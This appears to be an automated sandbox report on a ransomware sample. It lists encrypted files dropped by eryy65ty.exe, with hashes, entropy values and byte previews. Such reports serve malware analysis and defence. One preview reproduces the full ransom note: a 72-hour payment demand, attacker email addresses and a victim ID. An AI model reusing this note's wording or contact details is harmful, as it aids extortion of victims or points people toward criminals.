                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:zNTuKSnT00qIjQgYehJiWoFqlks/wNSzMOGTEcbvl+L3knHn:BTbSnZqkdzhJiFFunzhGoSHn
                                                                                                                                                                MD5:E2401FF7C276EF76C861FD51B543CA6D
                                                                                                                                                                SHA1:3FC756B64DB85A3BD68F097A1B51386DF940EA85
                                                                                                                                                                SHA-256:A144C0FAB29257B857D1B2C1FDB53984DA5DF7FDBEE32BAEE633313445C3F1E3
                                                                                                                                                                SHA-512:56D29E6500BD11A9CB21445181C6BEBA42B6F67C0D8C87FDC687AF7E4ACD7BD08FF0BF1649306C365CA329A04F8DF8A9BD06C774A1EC35C8428F1E59E8A7E15B
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:....c....ZW}X.ons":[]};..$V/i..b\....Lz.6.:.(....u.L.uzW....'.<..r5....m3..jJ.........$K...K.}.W.vs..5..T,Fx....F../KN(.so....:..............\.. ..p.."_.../.B.c......0.#.2A.S..c.p]4..=`P.p..n..G..y.\`r..H......TP..D .NbY.."5.d..rF..yj.`..A{]....V..~}..M.N....[.._:.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):290
                                                                                                                                                                Entropy (8bit):7.19542157954192
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:zNTuKSnT00qIjQgYehJiWoFqlks/wNSzMOGTEcbvl+L3knHn:BTbSnZqkdzhJiFFunzhGoSHn
                                                                                                                                                                MD5:E2401FF7C276EF76C861FD51B543CA6D
                                                                                                                                                                SHA1:3FC756B64DB85A3BD68F097A1B51386DF940EA85
                                                                                                                                                                SHA-256:A144C0FAB29257B857D1B2C1FDB53984DA5DF7FDBEE32BAEE633313445C3F1E3
                                                                                                                                                                SHA-512:56D29E6500BD11A9CB21445181C6BEBA42B6F67C0D8C87FDC687AF7E4ACD7BD08FF0BF1649306C365CA329A04F8DF8A9BD06C774A1EC35C8428F1E59E8A7E15B
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:....c....ZW}X.ons":[]};..$V/i..b\....Lz.6.:.(....u.L.uzW....'.<..r5....m3..jJ.........$K...K.}.W.vs..5..T,Fx....F../KN(.so....:..............\.. ..p.."_.../.B.c......0.#.2A.S..c.p]4..=`P.p..n..G..y.\`r..H......TP..D .NbY.."5.d..rF..yj.`..A{]....V..~}..M.N....[.._:.0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):229642
                                                                                                                                                                Entropy (8bit):0.8754448238715912
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:Zdrr44VRnCjQlC1zkVmvQhyn+Zoz67NNlXMM6333Jp/LKXKN8/N7tmu:jrDrcmzMMaCJ
                                                                                                                                                                MD5:17DF5A9A31A395C840592E998554E32A
                                                                                                                                                                SHA1:D2A7E7CF38557D6200B0D0F6C0F546D470F840C3
                                                                                                                                                                SHA-256:37E0C0C40F6351894E3E33A53D8C68D46B578A36BEECB28A2017C2987B66DCEB
                                                                                                                                                                SHA-512:EE79F620DD13687B0ED637684391E7A564B4BF5D181F22ECFD1070B067B6B335D05BF0710C16DEF40C7413C657A88E44AD2BC2155E8C8E7DD1EC51D948AC4F2D
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:=.H..#RG..?.....j.=.f....Z.,.,U^@U]<.o.U_..x(.x+.Z.H..>..z.)..V..(VZ.&A..c..Q...D.(.......nY[.oG.....q..4.)..*..m@..xi..U..W..bQ..N.e...GB..Lu.'.a......]lVb.zg......B.yC.%..1...u.M.a1...g..w...-3..4..8.2Y.L..wl.I../...QP.J_...sb...5....j6f.T#..~(&...1...w8pt.<....nz.t...&...$._.....!.>..2D.....m..\.....V....(..BR...4s......h..*....M6.>.C...c.^o.3..%..........a....(..8......zT....j..s.?..'#.....*...w....\..o..t...`.G.:..8..V0...].d.../M.".e..G..&*.C5......Z..VZ...e`...c.....u.A.......:.../....X.........#}..g[.<.H.b..XJ.h.K....e.|3u....ge..!.S.am[..\OoAv$LA.HS...{%..N.._...}.8...@..6.....#..-.........t....K;.G.:.8..Jj.W.&.z,..(..Q....ul..v..}.....\.L..b.....V..]....+..8..@.h&..$"....{....F..j...A#..3...Z^2....!.+>.R..|....8M...=1..<.Pe..WM.LN..[...+.J.Z.f..p....2...R. ..jQ[..a.FN.e..z"..R.m....+X........q......'.V.'4W=.~.....c.S.$!P../....F.8`z.6S{4.{V.Lah.u...[6ua_;......?.....@.0^$.A..6...e[2.v.PU5.<#9.`..0.i~"y.p..v....Mr0..)..VY.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):229642
                                                                                                                                                                Entropy (8bit):0.8754448238715912
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:384:Zdrr44VRnCjQlC1zkVmvQhyn+Zoz67NNlXMM6333Jp/LKXKN8/N7tmu:jrDrcmzMMaCJ
                                                                                                                                                                MD5:17DF5A9A31A395C840592E998554E32A
                                                                                                                                                                SHA1:D2A7E7CF38557D6200B0D0F6C0F546D470F840C3
                                                                                                                                                                SHA-256:37E0C0C40F6351894E3E33A53D8C68D46B578A36BEECB28A2017C2987B66DCEB
                                                                                                                                                                SHA-512:EE79F620DD13687B0ED637684391E7A564B4BF5D181F22ECFD1070B067B6B335D05BF0710C16DEF40C7413C657A88E44AD2BC2155E8C8E7DD1EC51D948AC4F2D
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:=.H..#RG..?.....j.=.f....Z.,.,U^@U]<.o.U_..x(.x+.Z.H..>..z.)..V..(VZ.&A..c..Q...D.(.......nY[.oG.....q..4.)..*..m@..xi..U..W..bQ..N.e...GB..Lu.'.a......]lVb.zg......B.yC.%..1...u.M.a1...g..w...-3..4..8.2Y.L..wl.I../...QP.J_...sb...5....j6f.T#..~(&...1...w8pt.<....nz.t...&...$._.....!.>..2D.....m..\.....V....(..BR...4s......h..*....M6.>.C...c.^o.3..%..........a....(..8......zT....j..s.?..'#.....*...w....\..o..t...`.G.:..8..V0...].d.../M.".e..G..&*.C5......Z..VZ...e`...c.....u.A.......:.../....X.........#}..g[.<.H.b..XJ.h.K....e.|3u....ge..!.S.am[..\OoAv$LA.HS...{%..N.._...}.8...@..6.....#..-.........t....K;.G.:.8..Jj.W.&.z,..(..Q....ul..v..}.....\.L..b.....V..]....+..8..@.h&..$"....{....F..j...A#..3...Z^2....!.+>.R..|....8M...=1..<.Pe..WM.LN..[...+.J.Z.f..p....2...R. ..jQ[..a.FN.e..z"..R.m....+X........q......'.V.'4W=.~.....c.S.$!P../....F.8`z.6S{4.{V.Lah.u...[6ua_;......?.....@.0^$.A..6...e[2.v.PU5.<#9.`..0.i~"y.p..v....Mr0..)..VY.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):466
                                                                                                                                                                Entropy (8bit):7.532194522539609
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:kuufKT+mnI5jSkQT6+zTaHE3vbCmmhnb7iZn:0KuGkGcHtb7iZ
                                                                                                                                                                MD5:92B7CFF37FECE21CE4D6DD6B074FC53C
                                                                                                                                                                SHA1:2D8327C28AB41269F9059C95BA267DE52B1E8647
                                                                                                                                                                SHA-256:A6BBAA23CA22C33BA83EE5CCDC3F7DBBF0752AA0F1F065E4575A7979811A2FE6
                                                                                                                                                                SHA-512:87AED0F1F8558883082F3C9247E96E57ECD3FD48204B560DC67F392AFC870995FCA566F6A07CB48827D4886AF17ABFBAC73FA6E93F84321C0B4FEEE1491D96EC
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:Ce....~Z.c.s.g.,}.s....>..1..1u9Q.S.....oE[.:.t..Q...T.&.j.VCGq..Da.A&.....0'..&].F..~.Q.....3.m.gZ.2P..Fm......kn0..}.a.....DrXE.C.Um..c;h*...e..u....W$...Le.w.[4..hV.......N.fO.k.?.(rowser......a......dm...:VB......."...d.....|.q.&..2.Z...&....B...8K.".|.....K.z.J........1t..}}...J..J..U^WJ..0..i....x......z....Y..)....k.........l...I.].}Un.tc..`.Hea..-k^..1...t*...V.......T...}....4.G.Z.+.#..........@...wO..O.u]....U..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):466
                                                                                                                                                                Entropy (8bit):7.532194522539609
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12:kuufKT+mnI5jSkQT6+zTaHE3vbCmmhnb7iZn:0KuGkGcHtb7iZ
                                                                                                                                                                MD5:92B7CFF37FECE21CE4D6DD6B074FC53C
                                                                                                                                                                SHA1:2D8327C28AB41269F9059C95BA267DE52B1E8647
                                                                                                                                                                SHA-256:A6BBAA23CA22C33BA83EE5CCDC3F7DBBF0752AA0F1F065E4575A7979811A2FE6
                                                                                                                                                                SHA-512:87AED0F1F8558883082F3C9247E96E57ECD3FD48204B560DC67F392AFC870995FCA566F6A07CB48827D4886AF17ABFBAC73FA6E93F84321C0B4FEEE1491D96EC
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:Ce....~Z.c.s.g.,}.s....>..1..1u9Q.S.....oE[.:.t..Q...T.&.j.VCGq..Da.A&.....0'..&].F..~.Q.....3.m.gZ.2P..Fm......kn0..}.a.....DrXE.C.Um..c;h*...e..u....W$...Le.w.[4..hV.......N.fO.k.?.(rowser......a......dm...:VB......."...d.....|.q.&..2.Z...&....B...8K.".|.....K.z.J........1t..}}...J..J..U^WJ..0..i....x......z....Y..)....k.........l...I.].}Un.tc..`.Hea..-k^..1...t*...V.......T...}....4.G.Z.+.#..........@...wO..O.u]....U..0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1141
                                                                                                                                                                Entropy (8bit):7.845906885373196
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:UbhoHai/M3Y5MDM/4xJSJsQ1LOe7eQAH+5VLhJTwYgoSfiX4KUPhjqX4XDLA9td7:Ubh7YZEJSt1xAe5VlaYgoSfiXKhGX4zu
                                                                                                                                                                MD5:3C2ACC354D9A8DC80F0F210AC18C558A
                                                                                                                                                                SHA1:42EE9BF1AEEE1C6287640CF7241B47B8AA81AD59
                                                                                                                                                                SHA-256:292A3A6228E26435CD191DCFE4F84E4A67FC7D1C1449E88F6DB9B85052A0BE37
                                                                                                                                                                SHA-512:14D134898A4B8FB6D2BF5F6BF6C8C54F4BE8A707D6D3E163136CB945E6CE8E1F145C6E4C99BE74E3B13923877B35702A611920CE2585B604BBCBF65CF75E4402
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:?..AQ.-t......-.....#j...C........?."...c..x....o..]a...Ig..Y} .-....{Ev....j..f..3..e3...?.......mY>.....A.......>....q..X...g*......Y.F..p9.i..).=.%.4B.~;H.[ME....Q.".~.......y...KP...2{0V...".....J....3..Q.uFlf.jf21..3!.......Bf..+.!..8...z.}.....;.s.."....X.@_..<E...B..........j([.S..K.1q......l.>..%...3...x..TPd......M...g..[...dq.M.o........J..*..T.T....P...S'R;O.n....G..6H..b<.#R..9-....4G...Ye...0.....a...>S."..].b..HX...Kc@.E.^..$..0}.}.........k}.Z..po..d..g.N....+u...s..o.B&.l.$.(CI...P....j.z.}Dw.d.k;...$u.....Fl.)..;rQ....d...l.h.AV...=.4...N....!....L0.l.p.Q.l....$...D^...5O.mF..;h+6.[..?....)..Z..../g.3h..O.../.<%lp.....]S.^.q.....=)L.{......]r....W.b.U.\.....O..n.._.-...#v;..'+...q~......b...Sg...j....j.B.Y\W4.....;.x..=.J9.wP..;:{}.W..ip.|S.#..=...M.N..jH......%..u9.".p.....jU9V.J..r.!..E.GrsKey":""}]}9I.>{s)5.X..|..]z..z#.+e.Q.$..X._....8..$..E...%...8..{../:..FF@.K..I.p.U...R..7....E... I@E.....&@1v....)k.....UG.(:.x.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1141
                                                                                                                                                                Entropy (8bit):7.845906885373196
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:UbhoHai/M3Y5MDM/4xJSJsQ1LOe7eQAH+5VLhJTwYgoSfiX4KUPhjqX4XDLA9td7:Ubh7YZEJSt1xAe5VlaYgoSfiXKhGX4zu
                                                                                                                                                                MD5:3C2ACC354D9A8DC80F0F210AC18C558A
                                                                                                                                                                SHA1:42EE9BF1AEEE1C6287640CF7241B47B8AA81AD59
                                                                                                                                                                SHA-256:292A3A6228E26435CD191DCFE4F84E4A67FC7D1C1449E88F6DB9B85052A0BE37
                                                                                                                                                                SHA-512:14D134898A4B8FB6D2BF5F6BF6C8C54F4BE8A707D6D3E163136CB945E6CE8E1F145C6E4C99BE74E3B13923877B35702A611920CE2585B604BBCBF65CF75E4402
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:?..AQ.-t......-.....#j...C........?."...c..x....o..]a...Ig..Y} .-....{Ev....j..f..3..e3...?.......mY>.....A.......>....q..X...g*......Y.F..p9.i..).=.%.4B.~;H.[ME....Q.".~.......y...KP...2{0V...".....J....3..Q.uFlf.jf21..3!.......Bf..+.!..8...z.}.....;.s.."....X.@_..<E...B..........j([.S..K.1q......l.>..%...3...x..TPd......M...g..[...dq.M.o........J..*..T.T....P...S'R;O.n....G..6H..b<.#R..9-....4G...Ye...0.....a...>S."..].b..HX...Kc@.E.^..$..0}.}.........k}.Z..po..d..g.N....+u...s..o.B&.l.$.(CI...P....j.z.}Dw.d.k;...$u.....Fl.)..;rQ....d...l.h.AV...=.4...N....!....L0.l.p.Q.l....$...D^...5O.mF..;h+6.[..?....)..Z..../g.3h..O.../.<%lp.....]S.^.q.....=)L.{......]r....W.b.U.\.....O..n.._.-...#v;..'+...q~......b...Sg...j....j.B.Y\W4.....;.x..=.J9.wP..;:{}.W..ip.|S.#..=...M.N..jH......%..u9.".p.....jU9V.J..r.!..E.GrsKey":""}]}9I.>{s)5.X..|..]z..z#.+e.Q.$..X._....8..$..E...%...8..{../:..FF@.K..I.p.U...R..7....E... I@E.....&@1v....)k.....UG.(:.x.
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):262410
                                                                                                                                                                Entropy (8bit):0.2936409167159046
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:eYzDpuqgcK//G5L9ShsRSc6qyMbFNg8GJedtMgl+Jgd4ru:eYzDLhiGHSPVqyQFwITE+4S
                                                                                                                                                                MD5:E868ED2B4C4500E91C5F37AED2134CF4
                                                                                                                                                                SHA1:8CEC825F44CD4A5E2CE63895177E33868B367F2B
                                                                                                                                                                SHA-256:8E56AA071F758ECD31B1D4F926D22ACD9B63480C3DE87E8B4611B73861A90939
                                                                                                                                                                SHA-512:DC50DDB3CCCEA914D1F1C0D0FB456D03F0B2C8E719FFABCF2BB625FB11B6FF7CAAA16FE9154C6FFEE49F031D222A460545FF36BA6AF6842824D7D67E9CAED755
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview://....Q.D.X..<z...{B.#.P...0..>..OR|Y%c.tr.......X........^v.T... ...ND*.....[.....RM.80...i.....e...._|....BPya.No...G.}7.....S.B.nW2......F%.y.%.>h&.y#)O.PL....L.........ne.==^..>K.....G......k..N..$.)o.....l..........5ClZ....;.y.M.?..i.&1.....P.r.8.S...~w%b...!....1-.pQ.W#T./?...n-.. ..1.@^..I....+*ulA.C@V.G.....R.@.6......(..#.|Rz.....@....WC.w.H....t..I..eU!d7.!]V.R..uJ..y/#.=........W.....Q..Z!..~O...B.e*.fJ.I.e....u..4w@$.....h~O...F....c......R..`..:..u..Mr!...j..........U@..1.k<....g.)Iw.~zJ....}.?:H.<.>....*.at.....+(.S%....;e.....U...H......3......<.....t.....DF.&.L|....x.v0.........u'z...(.$........+.w.Ezq..<.$.#...!Z.M................e...F.?1NN..5....x..y`.^..v.P. ...k{".h?.N.[q-k..l..:,.....:\..Q.?U...Xy..d..4}.S.ho.>..8:Q..ry....X...1.j...t.vT.0.Wb....,..E9.....#.............P2RW.O....4...Vo...L=s.....U\Xu../.x8....,&.../.SkQ?.[%....,...X...4%..I.....6I..i.SS^r..............e.-4..<.NmD....F`..8,.Z9.S..*...n.....4%EA.\.r...'...x
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):262410
                                                                                                                                                                Entropy (8bit):0.2936409167159046
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:eYzDpuqgcK//G5L9ShsRSc6qyMbFNg8GJedtMgl+Jgd4ru:eYzDLhiGHSPVqyQFwITE+4S
                                                                                                                                                                MD5:E868ED2B4C4500E91C5F37AED2134CF4
                                                                                                                                                                SHA1:8CEC825F44CD4A5E2CE63895177E33868B367F2B
                                                                                                                                                                SHA-256:8E56AA071F758ECD31B1D4F926D22ACD9B63480C3DE87E8B4611B73861A90939
                                                                                                                                                                SHA-512:DC50DDB3CCCEA914D1F1C0D0FB456D03F0B2C8E719FFABCF2BB625FB11B6FF7CAAA16FE9154C6FFEE49F031D222A460545FF36BA6AF6842824D7D67E9CAED755
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview://....Q.D.X..<z...{B.#.P...0..>..OR|Y%c.tr.......X........^v.T... ...ND*.....[.....RM.80...i.....e...._|....BPya.No...G.}7.....S.B.nW2......F%.y.%.>h&.y#)O.PL....L.........ne.==^..>K.....G......k..N..$.)o.....l..........5ClZ....;.y.M.?..i.&1.....P.r.8.S...~w%b...!....1-.pQ.W#T./?...n-.. ..1.@^..I....+*ulA.C@V.G.....R.@.6......(..#.|Rz.....@....WC.w.H....t..I..eU!d7.!]V.R..uJ..y/#.=........W.....Q..Z!..~O...B.e*.fJ.I.e....u..4w@$.....h~O...F....c......R..`..:..u..Mr!...j..........U@..1.k<....g.)Iw.~zJ....}.?:H.<.>....*.at.....+(.S%....;e.....U...H......3......<.....t.....DF.&.L|....x.v0.........u'z...(.$........+.w.Ezq..<.$.#...!Z.M................e...F.?1NN..5....x..y`.^..v.P. ...k{".h?.N.[q-k..l..:,.....:\..Q.?U...Xy..d..4}.S.ho.>..8:Q..ry....X...1.j...t.vT.0.Wb....,..E9.....#.............P2RW.O....4...Vo...L=s.....U\Xu../.x8....,&.../.SkQ?.[%....,...X...4%..I.....6I..i.SS^r..............e.-4..<.NmD....F`..8,.Z9.S..*...n.....4%EA.\.r...'...x
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):98570
                                                                                                                                                                Entropy (8bit):0.6747376831952138
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:+eo8TslGgh2RIaZ5OlzrRF6DmHn8CjYtjhwXvxzno5:+eQlGgAGafOlzrRNHY6vxzno5
                                                                                                                                                                MD5:5AD153C7DB65E41B9F40EA995D38F844
                                                                                                                                                                SHA1:AD5813B5C95AE46D827145C421642F2CC0DB8F52
                                                                                                                                                                SHA-256:94A7F16261E172A8D56E890823EF12D99EB3E043E61B2E1E362F8AC0FD620D52
                                                                                                                                                                SHA-512:10A6061E79BE25C7FAA4AF684157F5383C453F414AE527FDC3438E8E4B47126F4F720AF56FCBD2AF51A691B8F272290BE91FCD303CBCB255B671FBA02731A002
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.+......C ...e..L&..].l..|....B.-........6x..X.N..C.G.j.....5f......e%.5.0.+2..J.Z.BK...4M.P.E...G.`./5.q.m..%.X..5.Z..M.....T...?Q...TxWCY.C.%..&...,..*.T...A.X.o...IOH.5i......0..<..t...ld.~.y.|d7....>....VRNSLW.v.!m.4.u]........$.!.. .....sw....9.C4...._~..oU...Lp.Ez.....{Ay..u.e.]..Y....^...p.Q.H...3...Ar.,4B.xf.1...k....,z#..r...F.[KiN...}.......\b.<V."8b.......r.D......}~.....{C.!A....nH.%....8._.)j.J.U}.4;S.i..o.n.....x..X.....o.rl.o..n.z../......jC...P.....~h...9.;.........Ne.<..v......J...&o....2C..z....U..T...L.r.!..%.A...$.....W-..y.`.O..c......KHI=...y...Ec(.......4.2.V........!...i..W.vH..=...eW........[.p....r.Dl........s...9..*(^..4N.MS)|...+g..W.T..h..X.T:p..{.r_..J )4..g.[8.2...3.B..w...QK+..d,......]..Ix^9.d7.......EJ..[.b.....t..._......G.`...l$.l...k7..X.D`.`F.C..Y?6.1%4.#..5..=..z5.I..=t.r.2_...6....r..<DqM.H.0-=...........uW...#..M...m..Mi....8y.....^.7......[.X..C...d..eK.".j.@..Mk."M..$...o.^..32..).I-..l.&.W.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6075224936206698
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:TCxAtS13XZkv4i34d4jU82zWgp/xbvOLZCMookwUtG+dP1ze4TPllH:mx91Hqwi3QN82CgrbGm5ftG+Z1p
                                                                                                                                                                MD5:481B34CA7144A457F3EDD259BFE65D90
                                                                                                                                                                SHA1:EDA924C2E2DEDD6742E590CA2B441C2DFB5DAD97
                                                                                                                                                                SHA-256:61DD908EE7C1D980357B729BB0CDF269C933337EA896AC8F27D1021BB7ED6D37
                                                                                                                                                                SHA-512:A2A187A7B2BCDA49B069A34DC7FB0A479FF7B4CEBEDBA3DA93A57FB6F758C8A8254ED0376B1D1C82A039E85E5BDA66AC448494D308E5AAE91DB92F47DF51E11E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.q..@ ..T....0..P.d..}....1.o#....rI$?ra...._...=.).0.U.TJ.".xsp 'X{a......:.&.B.F.)G... +.$..H..`._...e/.V/K,.._X...iL.6.+...^.Qry...3y...D;.f.E.........-7.\.j.dG.]5...D...R[,i..S*.P.+h.r..@..%.........#E{..K..[.."''<...E.C....s.p..@.......x..w....n1.....B....[....$H.K....GX.......A9:{}y... '*.,........]....`..[..jl@=...........}n.^L./?.H...t._ae..g,........p.b..YY.....mk....!0.-.....h..;..0..J..v..0.D....=.*...3....b...i.a.....G.....}S._o....yG?...Bq...Ph.Z....5l|..rE...1(;q.....{.{v!1v^#.?....D.|/v..u..Jp#cI7........d3.-r}3<:.2z9M^\2...RC5=.i!..y%.f.@1X.84...E.....c.R.g..t.......P..n..x.PR...vq....KC[.8N..8...P..=0\.Z.3@2o.:D...... ..&.g.Pai3/........w...sB.7...H.J{.'.t1.1.C..+..@...Y~3gh.#,...I....8.....5.8x.....h...2...jB.J.......H..D......6.>w...}Sb.,M.v.4n....&.!.V..w..dx.$.......[.7.C..V..2y7.....o.E}.._.V.^5....=....q..U.>..\...x..bU.\O..~W.....S.G.}.&..-.$Q..}.{.`X.GK.aT....TeL+}...(...B....$"m.'..n6..g..&[s.lh.......(..t.BJ...?
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):33034
                                                                                                                                                                Entropy (8bit):1.6075224936206698
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:TCxAtS13XZkv4i34d4jU82zWgp/xbvOLZCMookwUtG+dP1ze4TPllH:mx91Hqwi3QN82CgrbGm5ftG+Z1p
                                                                                                                                                                MD5:481B34CA7144A457F3EDD259BFE65D90
                                                                                                                                                                SHA1:EDA924C2E2DEDD6742E590CA2B441C2DFB5DAD97
                                                                                                                                                                SHA-256:61DD908EE7C1D980357B729BB0CDF269C933337EA896AC8F27D1021BB7ED6D37
                                                                                                                                                                SHA-512:A2A187A7B2BCDA49B069A34DC7FB0A479FF7B4CEBEDBA3DA93A57FB6F758C8A8254ED0376B1D1C82A039E85E5BDA66AC448494D308E5AAE91DB92F47DF51E11E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.q..@ ..T....0..P.d..}....1.o#....rI$?ra...._...=.).0.U.TJ.".xsp 'X{a......:.&.B.F.)G... +.$..H..`._...e/.V/K,.._X...iL.6.+...^.Qry...3y...D;.f.E.........-7.\.j.dG.]5...D...R[,i..S*.P.+h.r..@..%.........#E{..K..[.."''<...E.C....s.p..@.......x..w....n1.....B....[....$H.K....GX.......A9:{}y... '*.,........]....`..[..jl@=...........}n.^L./?.H...t._ae..g,........p.b..YY.....mk....!0.-.....h..;..0..J..v..0.D....=.*...3....b...i.a.....G.....}S._o....yG?...Bq...Ph.Z....5l|..rE...1(;q.....{.{v!1v^#.?....D.|/v..u..Jp#cI7........d3.-r}3<:.2z9M^\2...RC5=.i!..y%.f.@1X.84...E.....c.R.g..t.......P..n..x.PR...vq....KC[.8N..8...P..=0\.Z.3@2o.:D...... ..&.g.Pai3/........w...sB.7...H.J{.'.t1.1.C..+..@...Y~3gh.#,...I....8.....5.8x.....h...2...jB.J.......H..D......6.>w...}Sb.,M.v.4n....&.!.V..w..dx.$.......[.7.C..V..2y7.....o.E}.._.V.^5....=....q..U.>..\...x..bU.\O..~W.....S.G.}.&..-.$Q..}.{.`X.GK.aT....TeL+}...(...B....$"m.'..n6..g..&[s.lh.......(..t.BJ...?
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:DOS executable (COM, 0x8C-variant)
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.124033860312482
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:I3o5QLChN0WtTrmqNtyxJwVNZ80lI0xejz5q5dcC3xK4wWqJan:I49mqtNZ8cbejz5q5eeBjQan
                                                                                                                                                                MD5:0AF97B23FF93007A0C80B18D8BD678DF
                                                                                                                                                                SHA1:46026C6B4CD3F187B8FA232825B7AB7573375AE8
                                                                                                                                                                SHA-256:88D886762C9A282DC58C4303A4818F59D95B45059B586015A641AEA457261036
                                                                                                                                                                SHA-512:8674E08F97B280641A56732A70714F8BD0952D1F9F045A47F6E43E94B461214F80CD71D1AB400E92F40C6E6433657A1FFBC1C7DA2DFE3B801440B1B28FFEC714
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...w1TA..~...............y..:...;.b...7Nw..0s.......H.zgd....*.g9.E...6...}.J/k...+.....G..j.~F..l.y..d0;.i..v.-.%t).w.xW..i....2.w...z .p.O.......u#1Ed.\...~Zo..~..b|....r.-N2..o.!cb.Hz.P....J4..jf...uy...)q..!...'.!)5N...&o...#....p.\.POl....B,..,.6a.f9..?Y!1...!....^.g0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):98570
                                                                                                                                                                Entropy (8bit):0.6747376831952138
                                                                                                                                                                Encrypted:false
